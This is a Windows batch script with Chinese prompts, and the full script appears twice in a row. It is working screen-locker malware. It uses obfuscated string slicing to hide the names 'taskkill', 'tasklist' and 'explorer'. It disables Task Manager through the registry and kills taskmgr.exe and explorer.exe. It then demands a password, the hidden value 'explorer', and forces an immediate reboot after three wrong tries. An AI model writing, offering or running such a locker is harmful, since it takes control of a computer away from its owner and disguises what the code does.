@echo off&setlocal enabledelayedexpansion
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 1 /f >nul
set c=&set d=&
set k=3
set a=toarsekr&set b=ekxiplll
for /l %%i in (0,2,6) do (
set c=!c!!a:~%%i,1!
set d=!d!!b:~%%i,1!
)
set e=!c!&set f=!d!
for /l %%i in (1,2,7) do (
set e=!e!!b:~%%i,1!
set f=!f!!a:~%%i,1!
)
!e! /f /im !c!mgr.exe 2>nul>nul
:B
!c!list |find /i "!f!.exe">nul
if %errorlevel%==0 (!e! /f /im !f!.exe>nul&goto C) else (goto B)
:C
if !k!==0 (shutdown /r /t 0)
color b
echo 你还有!k!次机会解锁,超过之后电脑将重启。
set /p sz=输入密码:
set /a k+=-1
if not %sz%==%f% (cls&echo 密码错误&goto C)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 0 /f >nul
!c!list |find /i "!f!.exe"
if not %errorlevel%==0 start !f!.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 1 /f >nul
set c=&set d=&
set k=3
set a=toarsekr&set b=ekxiplll
for /l %%i in (0,2,6) do (
set c=!c!!a:~%%i,1!
set d=!d!!b:~%%i,1!
)
set e=!c!&set f=!d!
for /l %%i in (1,2,7) do (
set e=!e!!b:~%%i,1!
set f=!f!!a:~%%i,1!
)
!e! /f /im !c!mgr.exe 2>nul>nul
:B
!c!list |find /i "!f!.exe">nul
if %errorlevel%==0 (!e! /f /im !f!.exe>nul&goto C) else (goto B)
:C
if !k!==0 (shutdown /r /t 0)
color b
echo 你还有!k!次机会解锁,超过之后电脑将重启。
set /p sz=输入密码:
set /a k+=-1
if not %sz%==%f% (cls&echo 密码错误&goto C)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t
reg_dword /d 0 /f >nul
!c!list |find /i "!f!.exe"
if not %errorlevel%==0 start !f!.exe